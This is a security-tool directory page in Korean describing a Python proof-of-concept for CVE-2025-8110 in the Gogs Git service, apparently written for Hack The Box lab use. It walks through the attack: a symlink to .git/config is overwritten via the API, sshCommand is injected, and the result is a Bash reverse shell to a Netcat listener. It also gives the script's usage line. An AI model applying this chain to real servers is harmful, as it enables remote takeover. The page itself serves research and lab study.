Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-8110 — CVE-2025-8110용 Python 개념 증명으로, Gogs에서 심볼릭 링크 및 API를 통한 임의 파일 쓰기에서 RCE까지 시연하며, 교육용 랩 사용을 위한 것입니다. | Kitploit
도구/GitHubGitHub/xdezen/cve-2025-8110
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHubxdezen/cve-2025-8110

CVE-2025-8110

CVE-2025-8110용 Python 개념 증명으로, Gogs에서 심볼릭 링크 및 API를 통한 임의 파일 쓰기에서 RCE까지 시연하며, 교육용 랩 사용을 위한 것입니다.

저장소 보기
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Gogs 임의 파일 쓰기에서 RCE로 (CVE-2025-8110) - 교육용 익스플로잇

이 저장소는 자체 호스팅 Git 서비스인 Gogs(버전 0.13.3 및 이전)에 등록된 취약점 CVE-2025-8110을 시연하고 분석하기 위한 Python 개념 증명(PoC) 스크립트를 포함하고 있습니다.


⚠️ 면책 조항 (Disclaimer)

[!WARNING] 이 소프트웨어는 교육 및 보안 연구 목적으로만 제공됩니다. 이 자료를 소유자의 사전 서면 동의 없이 대상에 사용하는 것은 완전히 불법입니다. 이 저장소의 저자는 이 코드 사용으로 인한 어떠한 손해, 피해 또는 오용에 대해 책임을 지지 않습니다. 항상 자신의 책임 하에 통제된 환경 또는 승인된 시뮬레이션(CTF 연구실 등) 내에서만 사용하십시오.


CVE-2025-8110이란?

CVE-2025-8110은 Gogs의 PutContents API를 통해 심볼릭 링크(symlinks)를 처리할 때 충분하지 않은 검증으로 인해 발생하는 임의 파일 쓰기 심각한 취약점입니다.

영향 메커니즘

인증된 공격자는 다음을 할 수 있습니다:

  1. 저장소 폴더 외부의 민감한 파일(예: 서버 자체 구성 파일인 .git/config)을 가리키는 심볼릭 링크를 포함하는 로컬 Git 저장소를 만듭니다.
  2. 이 저장소를 Gogs 서버에 푸시합니다.
  3. Gogs API를 사용하여 심볼릭 링크 파일을 수정합니다. API는 대상이 바로 가기인지 확인하지 않으므로 기본 운영 체제가 링크를 따라가며 Gogs가 실행되는 권한으로 시스템 파일을 덮어씁니다.
  4. Gogs 서비스가 root로 실행되는 경우, Git 구성 파일의 속성에 원하는 명령을 주입하여 파일 쓰기를 **원격 코드 실행(RCE)**으로 확장할 수 있습니다.
sshCommand

코드 설명 (exploit.py)

이 스크립트는 유효한 자격 증명과 Gogs 웹 인터페이스에서 수동으로 미리 생성된 API 토큰을 사용하여 전체 익스플로잇 과정을 자동화합니다:

root@kitploit:~
          ┌──────────────────────────────────────────────┐
          │          Máquina del Atacante (Kali)         │
          └──────────────────────┬───────────────────────┘
                                 │
         (1) Crea Repositorio    │ (3) Sube Symlink (.git/config)
         Malicioso vía API       │     vía git push
                                 ▼
          ┌──────────────────────────────────────────────┐
          │      Túnel SSH Local (puerto 8080)           │
          └──────────────────────┬───────────────────────┘
                                 │
                                 ▼
          ┌──────────────────────────────────────────────┐
          │           Servidor Víctima Gogs              │
          │              (Puerto 3001)                   │
          └──────────────────────┬───────────────────────┘
                                 │
                                 │ (4) API PUT "contents"
                                 │     Sigue Symlink y escribe
                                 │     "sshCommand" en .git/config
                                 ▼
          ┌──────────────────────────────────────────────┐
          │     Ejecución del Payload como ROOT          │
          └──────────────────────────────────────────────┘

스크립트의 주요 구성 요소:

  1. create_malicious_repo: 제공된 액세스 토큰으로 인증하여 Gogs API(/api/v1/user/repos)에 POST 요청을 보내 동적으로 생성된 무작위 이름으로 새 저장소를 만듭니다.
  2. upload_malicious_symlink:
    • 새로 생성된 저장소를 로컬 임시 폴더 /tmp/에 복제합니다.
    • 공격자 시스템에서 서버의 Git 구성 파일인 .git/config를 가리키는 심볼릭 링크를 로컬로 생성합니다.
    • 커밋을 수행하고 시스템 명령(git push)을 통해 변경 사항을 서버로 다시 보냅니다.
  3. exploit: Git의 sshCommand 속성에 주입 트릭을 사용하여 페이로드를 정의합니다. API를 통해 콘텐츠를 업데이트하면 Gogs는 서버에서 자체 .git/config를 덮어쓰도록 강제됩니다. Git 프로세스의 마지막 부분이 활성화되면 Gogs 시스템이 터미널 명령(Bash 리버스 셸)을 실행하여 Netcat 리스너로 연결을 반환합니다.

실험실 사용 가이드 (HTB - Silentium)

사전 요구 사항

스크립트를 실행하기 전에 Git에서 전역 ID 데이터를 설정하여 자동 커밋 시 오류를 방지하세요:

root@kitploit:~
git config --global user.email "[email protected]"
git config --global user.name "estudiante"



### 사용법: python3 exploit.py -u (http://127.0.0.1:8080) -lh <TU_IP_VPN> -lp 4446
도구 다운로드